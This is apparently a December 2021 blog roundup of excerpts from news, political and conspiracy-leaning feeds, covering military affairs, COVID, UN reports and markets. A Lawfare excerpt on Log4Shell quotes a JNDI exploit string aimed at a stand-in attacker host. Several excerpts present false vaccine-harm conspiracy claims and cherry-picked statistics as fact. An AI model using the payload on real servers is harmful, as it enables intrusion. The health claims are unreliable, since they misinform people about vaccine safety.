Friday, December 10, 2021

10 December - Blogs I'm Following - 1 of 5

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Food Safety News26 minutes ago
Noodle link investigated as children die in South Africa
Officials in South Africa are looking into the deaths of up to five children to see if they are linked to eating instant noodles. The Department of Health is investigating the possible food poisoning in Mpumalanga, Eastern Cape and Gauteng provinces. The agency met with environmental health practitioners from the three affected provinces and municipalities... Continue Reading read more
US Sets 1-Week Deadline To See If Iran Talks Advance
Channel 13 in #Israel reports the US is giving #Iran one final week to see where the negotiations go, and the US has agreed to hold joint training sessions with the IDF for strikes against #Iran nuclear facilities. If true, it's the closest to a deadline I've seen to date. https://t.co/LkiWgYmQOX — Jason Brodsky (@JasonMBrodsky) December 10, 2021 *Zero Hedge:* *US Sets 1-Week Deadline To See If Iran Talks Advance As Israel Pushes Military Option: Report* Earlier in the week Reuters revealed that top US and Israeli officials were in talks to initiate joint military training exerci... read more
Pentagon Considering Mandating COVID-19 Booster For All Troops
A service member from the 109th Airlift Wing prepares to adminster a COVID-19 vaccine on March 10. (Master Sgt. Christine Wood/Air Force) *Newsweek: **Pentagon Looking at Booster Mandate for Military, Over 96 Percent Have At Least 1 Shot* The Pentagon is looking to mandate booster shots for military personnel. Pentagon spokesman John Kirby said Friday that they are in "active talks" to enact a mandate that would require members of the U.S. military branches to get vaccine booster shots against COVID-19. He also said that Secretary of Defense Lloyd Austin and himself want civil... read more
The Greek Navy's New Frigates Will Bolster NATO in the Mediterranean
*Kris Osborn* *Greek Navy, Mediterranean* The new Greek frigate is also specifically engineered to support and operate within a NATO force by virtue of its embedded electronics, data link connectivity, command and control systems, and computing. *Here's What You Need Know:* The Hellenic Frigate is armed with eleven VLS cells and a deck-launched, long-range, over-the-horizon Naval Strike Missile as well as 57mm guns and ship-defense weapons such as the Evolved Sea Sparrow Missile Block II and Rolling Airframe Missile. Lockheed Martin is building a special warship for the Greek mil... read more
Upgraded and Ready to Rock: How the Gen 5 Glock Has Changed
*Gun News Daily* *Glock, United States* It’s safe to say that the Generation 5 is a new gun of its own with thirty-five upgrades of its own. *Here's What You Need to Remember: *One feature worth of note is the dual recoil spring system. Glock originally featured this on the Glock Generation 4 for improved performance, and they have chosen to keep it on the Gen 5 as well. You may have though that the Glock Generation 4 represented the pinnacle of everything that Glock could do, but the Generation 5 that was released last year shows that Glock still has many tricks left up their s... read more
Not So Stealthy: Russia's S-400 Can Detect an F-15EX From 200 Miles Away
*David Axe* *F-15EX, * Russia can't take the F-15EX's stealth too seriously. *Here's What You Need to Remember: *The Defense Department compelled the Air Force to request eight F-15EXs as part of the flying branch's 2020 budget request. The eight planes would cost $1.2 billion. The debate continues over the Pentagon’s proposal to buy new F-15EX Eagle fighters from Boeing to complement Lockheed Martin-made F-35 stealth fighters. As lawmakers weigh the military’s request, *Air Force *magazine *has published* an infographic comparing the two fighters. Both fighters cost roughly $... read more
China's Navy is Building Out Its Expeditionary Warfare Capability
*Kris Osborn* *Expeditionary Warfare, China* China’s ambition to become a dominant global power has prompted the communist country to reach beyond the region where it has exerted its authority for centuries. *Here's What You Need to Know: *Several new technologies fielded by the People's Liberation Army and Marine Corps are designed to operate outside of China's borders and project power overseas. The People’s Liberation Army (PLA) and Marine Corps are taking aggressive measures to conduct next-level expeditionary warfare and project power beyond the Pacific theater, according ... read more
US Officially Ends Combat Operations In Iraq , But 2,500 Troops Wll Remain In Iraq For The Foreseeable Future
*Daily Mail: **Top general says the US will keep 2,500 troops in Iraq for the foreseeable future: Frank McKenzie expects increasing attacks on personnel by Iranian-backed militias* * Gen. Frank McKenzie revealed the US will keep the current 2,500 troops in Iraq * Despite the shift by U.S. forces to a non-combat role in Iraq, they will still provide air support and other military aid for Iraq's fight against the Islamic State * He said an ongoing uptick in violence may continue through December, noting that Iranian-backed militias want all Western forces out of Iraq The to... read more
null2 hours ago
Through the Grace of Mariam, the Kindness of Elizabeth and the Baptism of Yohannes, Ethiopia (Humanity) Will Win #WarNoMore
Today was supposed to be the day that I was going to declare war on my fellow Ethiopians. Deeply wounded by a family dispute and The post Through the Grace of Mariam, the Kindness of Elizabeth and the Baptism of Yohannes, Ethiopia (Humanity) Will Win #WarNoMore appeared first on . read more
The Last Refuge3 hours ago
LAPD Warns People Not To Visit Area During Christmas – It’s Like The Purge, We Cannot Keep People Safe
Yikes! This Christmas version of the Safari park warning is as subtle as a brick through a window. The Los Angeles police are telling the public not to come into the area for Christmas because it’s like “the purge” movie. LAPD Detective Jamie McBride recently told media “My advice to anybody considering coming to Los […] The post LAPD Warns People Not To Visit Area During Christmas – It’s Like The Purge, We Cannot Keep People Safe appeared first on The Last Refuge. read more
Musical interlude
Dallerium feat. Olive - How Do I Sleep Now read more
Everything Caused By Humans
In this 1969 article, Popular Science blamed both global warming and global cooling on burning fossil fuels. “the whole world has been cooling off since about 1940. Before that, the earth had been warming up for a considerably longer time. … Continue reading → read more
The Last Refuge3 hours ago
U.S. DOJ Wins Court Case Seeking Wikileaks Founder Julian Assange Extradition
The United States government (specifically the Fourth Branch) has won an appellate level legal case in the U.K. as they seek to extradite Wikileaks founder Julian Assange for crimes against U.S. national security interests. However, Assange’s lawyers have a few more avenues left to block the extradition. As much as I would like to see […] The post U.S. DOJ Wins Court Case Seeking Wikileaks Founder Julian Assange Extradition appeared first on The Last Refuge. read more
Vaccine Efficacy
Vermont is the most vaccinated state and has ten times as many COVID-19 cases as Wyoming – the least vaccinated state. Both states have about the same population. Vermont COVID: 55,057 Cases and 429 Deaths – Worldometer Wyoming COVID: 112,862 … Continue reading → read more
Komando.com5 hours ago
Major ISP and cable company breached – And you’ll never believe how
Cox Communications just suffered a data breach in a strange way. Find out now if your details were exposed. read more
Communicating With Aliens: Observables Versus Qualia
[image: Story 517587093] *If we ever do receive a targeted message from another star – as opposed to picking up, say, leakage radiation – will we be able to decipher it? We can’t know in advance, but it’s a reasonable assumption that any civilization wanting to communicate will have strategies in place to ease the process. In today’s essay, Brian McConnell begins a discussion on SETI and interstellar messaging that will continue in coming weeks. The limits of our understanding are emphasized by the problem of qualia; in other words, how do different species express inner experience... read more
Gangsters Out Blog22 minutes ago
Doug McCallum is still under attack
The vultures are relentless and shameless. Post Media Trash is reporting that the police are charging Surrey Mayor Doug McCallum for public mischief because he filed a harassment complaint with the RCMP when he was verbally assaulted by the Save the RCMP freaks outside Save on Foods. When they say stand up to bullies, that's exactly what we should do. Post Media Trash posted this picture with the caption "Keep the RCMP in Surrey photo - Ivan Scott of Keep the RCMP in Surrey and Surrey Mayor Doug McCallum, right, have a heated conversation in a grocery store parking lot in September... read more
What Happened When a U.S. B-2 Bomber ‘Attacked’ China in 1999?
*Kyle Mizokami* *U.S. Air Force, Europe* There was no logical reason to intentionally bomb the embassy and provoke China. *Here's What You Need to Know*: The destruction of the Chinese embassy in Belgrade set off a wave of anti-American protests half a world away. During NATO’s 1999 air war over Yugoslavia, the Atlantic alliance struck hundreds of targets over Serbia and Kosovo. Most were uncontroversial: air-defense sites, army headquarters and other military targets. The destruction of one target in particular, however, set off a wave of anti-Western—and anti-American in parti... read more
The U.S. Military Is Building High-Energy Lasers for Next-Gen Warfare
*Kris Osborn* *Lasers, United States* Their future depends on how rapidly weapons developers can engineer an exportable power small enough to travel on a fighter jet or drone for lasers. *Here's What You Need to Know:* Military scientists are seeking to create compact, transportable lasers that can be integrated onto fast-moving, fighter jets, tactical trucks, combat vehicles, and portable soldier devices. The Army is firing laser weapons from armored platforms and tactical vehicles as it surges forward with new generations of combat systems for warfighters. The Stryker vehicl... read more
The Time Iran Used American F-14s To Destroy the Iraqi Air Force
*David Axe* *Iranian Air Force, Middle East* Iran put these American-made planes to the test. *Here's What You Need to Remember: *Iran reportedly used American F-14 Tomcats down more than 160 Iraqi planes during the Iran-Iraq war. Iran’s force of American-made F-14 Tomcat interceptors dominated the sky during the Iran-Iraq war from 1980 to 1988. F-14s reportedly downed more than 160 Iraqi planes. Journalist Kash Ryan in his book *Air Combat Memoirs of the Iranian Air Force Pilots* compiled first-hand accounts of some of these aerial battles, including one by F-14 radar intercep... read more
Omicron Variant Spotted in Wastewater in California
*Stephen Silver* *Omicron, Americas* The Omicron was discovered by Stanford researchers in wastewater samples taken November 30, just days after the first Omicron cases were reported in South Africa. New cases of the new Omicron variant of coronavirus have been reported around the country and it’s even in the wastewater of one state. There are double-digit cases of the Omicron variant in California and signs of it in the state’s wastewater, according to the *Los Angeles Times*. It has shown up in wastewater samples in Sacramento and Merced counties, a state epidemiologist said... read more
Inside the Russian Navy's Recent Black Sea Exercises
*Kris Osborn* *Russian Navy, Black Sea* The United States has longstanding concerns about the security of key NATO partners bordering the Black Sea. *Here's What You Need to Know:* TASS said Russia’s Black Sea Fleet practiced striking against surface combatants and making quick undersea dives to specific depths and a series of “force-on-force” tactical exercises. Defense Secretary Lloyd Austin’s trip to the Black Sea in support of allied cooperation and Russian deterrence came amid increasing Russian naval activity in the region. The United States has longstanding concerns abou... read more
Homeless Camps, a Reflection of Growing Inequality in Chile
SANTIAGO, Dec 10 (IPS) - Camps made up of thousands of tents and shacks have mushroomed in Chile due to the failure of housing policies and official subsidies for the sector, aggravated by the rise in poverty, the covid-19 pandemic and the massive influx of immigrants. Read the full story, “Homeless Camps, a Reflection of Growing Inequality in Chile”, on globalissues.org → read more
UN raises alarm over ‘continuing’ expulsions of asylum seekers from Libya
Asylum-seekers and other migrants continue to be forcefully expelled from Libya, raising concerns at the Office of the United Nations High Commissioner for Human Rights (OHCHR). Read the full story, “UN raises alarm over ‘continuing’ expulsions of asylum seekers from Libya”, on globalissues.org → read more
Rights experts appeal for greater civil society protections, amid rising repression
Greater protection is needed for civil society representatives who are increasingly being targeted in repressive and life-threatening environments, UN and regional human rights experts said in a joint declaration published on Friday. Read the full story, “Rights experts appeal for greater civil society protections, amid rising repression”, on globalissues.org → read more
Senior White House official Catherine Russell appointed new UNICEF chief
UN Secretary‑General António Guterres announced on Friday, that Catherine Russell of the United States will become the next Executive Director of the UN Children's Fund (UNICEF). Read the full story, “Senior White House official Catherine Russell appointed new UNICEF chief”, on globalissues.org → read more
It’s not enough to be non-racist, we need to be anti-racist
“Humiliating and degrading,” is how activist Zulaikha Patel describes some of the racist experiences she and fellow students of colour endured at Pretoria High School for Girls in South Africa. Read the full story, “It’s not enough to be non-racist, we need to be anti-racist”, on globalissues.org → read more
Mexico: With scores killed in truck crash, UN urges States to agree 'controlled' migration
Despite repeated calls for concrete international action to reduce the tragic death toll of migrants, dozens were killed in Mexico when a crowded truck overturned in Chiapas on Thursday night, the International Organization for Migration’s (IOM) said in a statement released on Friday. Read the full story, “Mexico: With scores killed in truck crash, UN urges States to agree 'controlled' migration”, on globalissues.org → read more
Sudan: Mistrust deepens following military takeover
In the wake of the 25 October military takeover in Sudan, discussions on the way forward are underway but restoring trust will be a challenge, the top UN official in the country, Volker Perthes, told the Security Council on Friday. Read the full story, “Sudan: Mistrust deepens following military takeover”, on globalissues.org → read more
Rights abuses in Myanmar ‘deepening on an unprecedented scale’ 
More than 10 months since Myanmar's military seized power, the country’s human rights situation is deepening on an unprecedented scale, the UN rights office, OHCHR, has warned. Read the full story, “Rights abuses in Myanmar ‘deepening on an unprecedented scale’ ”, on globalissues.org → read more
CIA Chief: No Evidence Iran Has Decided to Develop a Nuclear Weapon
“Iran doesn’t frighten me and I don’t think it should frighten the American people. They don’t have a bomb. They haven’t made a decision to build one. They don’t have the means to deliver one. And the Israelis have 300 atomic bombs! I mean who presents the existential threat to whom?” – Pat Buchanan (7:58 … read more
Cairns News4 hours ago
Parliamentary petition to stop vaccine mandate
Sign the petition to the Queensland Parliament to halt vaccine mandates immediately: https://apps.parliament.qld.gov.au/E-Petitions/Home/Sign/3668 read more
Israel, US to Discuss Military Drills to Prep for Worst-Case Iran Scenario, US Says
Israel, US to Discuss Military Drills to Prep for Worst-Case Iran Scenario, US Says by TOI STAFF and AGENCIES, https://www.timesofisrael.com/ As Gantz heads to Washington and negotiations falter in Vienna, American official tells Reuters that military chiefs will talk exercises for possible attack on Iran nuke facilities. – Israeli and American military leaders are set to discuss … read more
VAERS COVID Vaccine Data Show Surge in Reports of Serious Injuries, as 5-Year-Olds Start Getting Shots
VAERS COVID Vaccine Data Show Surge in Reports of Serious Injuries, as 5-Year-Olds Start Getting Shots by Children’s Health Defense, via https://www.theburningplatform.com/ The Centers for Disease Control and Prevention (CDC) released new data today showing a total of 875,653 adverse events following COVID vaccines were reported between Dec. 14, 2020, and Nov. 5, 2021, to the Vaccine … read more
Cairns News4 hours ago
We have a pandemic of the vaccinated in Victoria and NSW
from Lyndsey Symonds All branches of government, all tiers of government [ corporate agents impersonating a government ], the professions and institutions of social influence are working with the UN and Operation Covid Shield to genetically modify the next generation, injure / kill them, give them acquired immuno deficiency through a series of spike protein […] read more
Fauci: Definition Of ‘Fully Vaccinated’ Will Be Changed
Fauci: Definition Of ‘Fully Vaccinated’ Will Be Changed by Zachary Stieber via The Epoch Times, via https://www.zerohedge.com/ The definition of fully vaccinated in the United States will be changed, Dr. Anthony Fauci said Wednesday. – “It’s going to be a matter of when, not if,” Fauci, the head of the National Institute of Allergy and Infectious Diseases, … read more
EU Members Plan To Bring Back Vaccine Passport, Require Booster Shots
EU Members Plan To Bring Back Vaccine Passport, Require Booster Shots by Tyler Durden, https://www.zerohedge.com/ It appears the EU has decided to abide by the WHO’s insistence that southern African countries shouldn’t be shunned via travel restrictions imposed by the West. But now, instead of singling out a handful of countries in southern Africa, the … read more
A One-Sided Narrative: U.S. Press Focuses on “Russian Aggression” While Ignoring U.S. Escalation
Democracy Now! During a virtual summit with Russian President Vladimir Putin, President Biden threatened to impose new economic sanctions and other measures if Russia invades Ukraine. The talks were held amid growing tension between the two countries over the expansion of NATO in Eastern Europe and Russia’s deployment of tens of thousands troops along the … read more
Disgraced Actor Jussie Smollett Found Guilty of Faking Hate Crime Attack
Sky News Australia Disgraced actor Jussie Smollett has been found guilty of staging a racist and homophobic attack in Chicago in January 2019. The 39-year-old was charged with six felony counts of disorderly conduct by Chicago police. He was found guilty of five of the six charges. The jury deliberated for roughly nine hours before … read more
The Last Refuge4 hours ago
Comrade Kathy Hochul Issues Order Mandating Indoor Masks for All New York Citizens
New York Governor, Comrade Kathy Hochul, delivered an order today mandating mask wearing indoors throughout the state of New York. You will take a knee, wrap your face and be compliant… or else. It’s for your own good comrade citizen. WATCH: Posted in Big Government, Big Stupid Government, Coronavirus, Cultural Marxism, Dem Hypocrisy, media bias, […] The post Comrade Kathy Hochul Issues Order Mandating Indoor Masks for All New York Citizens appeared first on The Last Refuge. read more
Medical Kidnap4 hours ago
Ontario MPP Rick Nicholls Asks Parliament Why 86 Stillbirths of Fully Vaccinated Mothers Have Occurred – 2,893 Fetal Deaths Now in VAERS Following COVID Shots
MPP Rick Nichols of Ontario recently addressed Parliament about the rising rates of stillborn children in the Province, and asked the Minister of Health, Christine Elliot, the following question: "In the Waterloo area 86 stillbirths have occurred from January to July, and normally it is roughly 1 stillbirth every two months. But here's the kicker. Mothers of stillbirth babies were fully vaccinated. And you have clearly said on numerous occasions that the vaccines are safe. So minister, what do you say to the doctors who told expecting women it was OK to get fully vaccinated, and w... read more
China Sends Lunar Rover to Probe Object on Far Side of Moon
CCTV Video News Agency China has launched an investigation into a mystery object spotted on the far side of the Moon. https://www.cctvplus.com/news/2021120… end read more
Are We Headed Toward A Soviet Style Collapse?
GoldSilver Pros I am joined by an esteemed panel of guests on the program today, representing all aspects of the supply chain for precious metals. As well, all are entrepreneurs and very well educated in their respective disciplines. We discuss the supply chain issues with respect to gold and silver, and how the rapid changes … read more
Ep.56 LFTV: Basel III – The Elephant in the Room – Unprecedented Impact for Gold and Silver
Kinesis Money With Basel III implementation just weeks away, Andrew Maguire looks ahead to the historic impact of unallocated position limit restrictions on the suppression of the gold and silver price. The precious metals expert demystifies a turbulent few weeks in the markets and offers his prediction for gold and silver as the year draws … read more
What Changed From Last Year?
The Boston Globe reports that despite 83% vaccinated this year, Massachusetts is seeing nearly the same infection rates as last year. 2020 vs. 2021: These charts show the similarities in Massachusetts’ COVID-19 surges – The Boston Globe read more
Typhoon Frequency – From Kirye
Climate alarmists like saying the frequency of extreme weather like hurricanes has increased due to man-made global warming or climate change. Their alarming opinions are at odds with the data. Data Source Let’s look at the typhoon data. The data … Continue reading → read more
Lawfare7 hours ago
What's the Deal with the Log4Shell Security Nightmare?
("Hackers (pt. 2)" by Ifrah Yousuf is licensed under CC BY 4.0 (https://cybervisuals.org/visual/hackers-pt-2//https://creativecommons.org/licenses/by/4.0/) We live in a strange world. What started out as a Minecraft prank, where a message in chat like ${jndi:ldap://attacker.com/pwnyourserver} would take over either a Minecraft server or client, has now resulted in a 5-alarm security panic as administrators and developers all over the world desperately try to fix and patch systems before the cryptocurrency miners, ransomware attackers and nation-state adversaries rush to exploit tho... read more
"Chaos Sweeps Across US Supply Chains As 75,000 Container Ships Line Up Until The Mexico Coast"
Full screen recommended. *"Chaos Sweeps Across US Supply Chains As * *75,000 Container Ships Line Up Until The Mexico Coast"* by Epic Economist "America is facing a neverending supply chain nightmare that only seems to aggravate with each passing week. A couple of days ago, associations representing supply chain workers warned that the whole system is about to fall apart, as its backbone, road transport operators, have massively started to leave the market due to poor work conditions. Months ago, industry insiders warned this could happen, but our leaders didn't take any preventive ... read more
Ontario MPP Rick Nicholls Asks Parliament Why 86 Stillbirths of Fully Vaccinated Mothers Have Occurred – 2,893 Fetal Deaths Now in VAERS Following COVID Shots
MPP Rick Nichols of Ontario recently addressed Parliament about the rising rates of stillborn children in the Province, and asked the Minister of Health, Christine Elliot, the following question: In the Waterloo area 86 stillbirths have occurred from January to July, and normally it is roughly 1 stillbirth every two months. But here's the kicker. Mothers of stillbirth babies were fully vaccinated. And you have clearly said on numerous occasions that the vaccines are safe. So minister, what do you say to the doctors who told expecting women it was OK to get fully vaccinated, and wh... read more
Pension Pulse5 hours ago
Don't Count on a Powell Pivot to Save Growth Assets
Maggie Fitzgerald and Tanaya Macheel of CNBC report the S&P 500 rises to record close Friday despite inflation fears, posts best week since February: The S&P 500 closed at a record on Friday, capping off Wall Street’s strong rally this week, despite inflation hitting a 39-year high. The S&P 500 rose 0.95% to 4,712.02 to close at a record. The 500-stock average sits 0.7% from its all-time high. The Dow Jones Industrial Average gained 216.30 points, or 0.6%, to 35,970.99. The technology-focused Nasdaq Composite climbed 0.7% to 15,630.60. The Dow Jones Industrial Average rose 4% sinc... read more
The Last Refuge5 hours ago
MAGAnomics vs JoeBamanomics, a Simple to Understand Graphic
President Trump economic policy -vs- Joe Biden economic policy When wages (blue line) are above inflation (red line) our income is growing, life is good and the working class has more disposable income to enjoy life. However, when wages (blue line) are lower than inflation (red line) our income is shrinking, life is a struggle […] The post MAGAnomics vs JoeBamanomics, a Simple to Understand Graphic appeared first on The Last Refuge. read more
And we know it's almost Christmas by the marks we make on the wall
It's that time of year again, so kick back with some seasonal music and check out Hunt Emerson's Christmas Countdown again. "Gillibrand Statement On The Gutting Of Bipartisan Military Justice Reforms By House And Senate Armed Services Leadership" — or as David Dayen put it on Twitter: "Gillibrand's full statement on what was done to her military justice reform is quite something. She spent a decade mustering support and has 2/3 of the Senate in her corner, and still couldn't get past Congress's Pentagon gatekeepers." Dday's story is here. "Congress 'Asleep at the Switch' as Bid... read more
The New Dark Age5 hours ago
Julian Assange
I'm writing to share our statement on today's UK court ruling on the extradition of Julian Assange. I hope you'll join us in speaking out for press freedom and human rights. A British court today ruled that Julian Assange can be extradited to the United States to face Espionage Act charges. We condemn this decision, and reiterate our condemnation of the United States’ outrageous prosecution of Assange. read more

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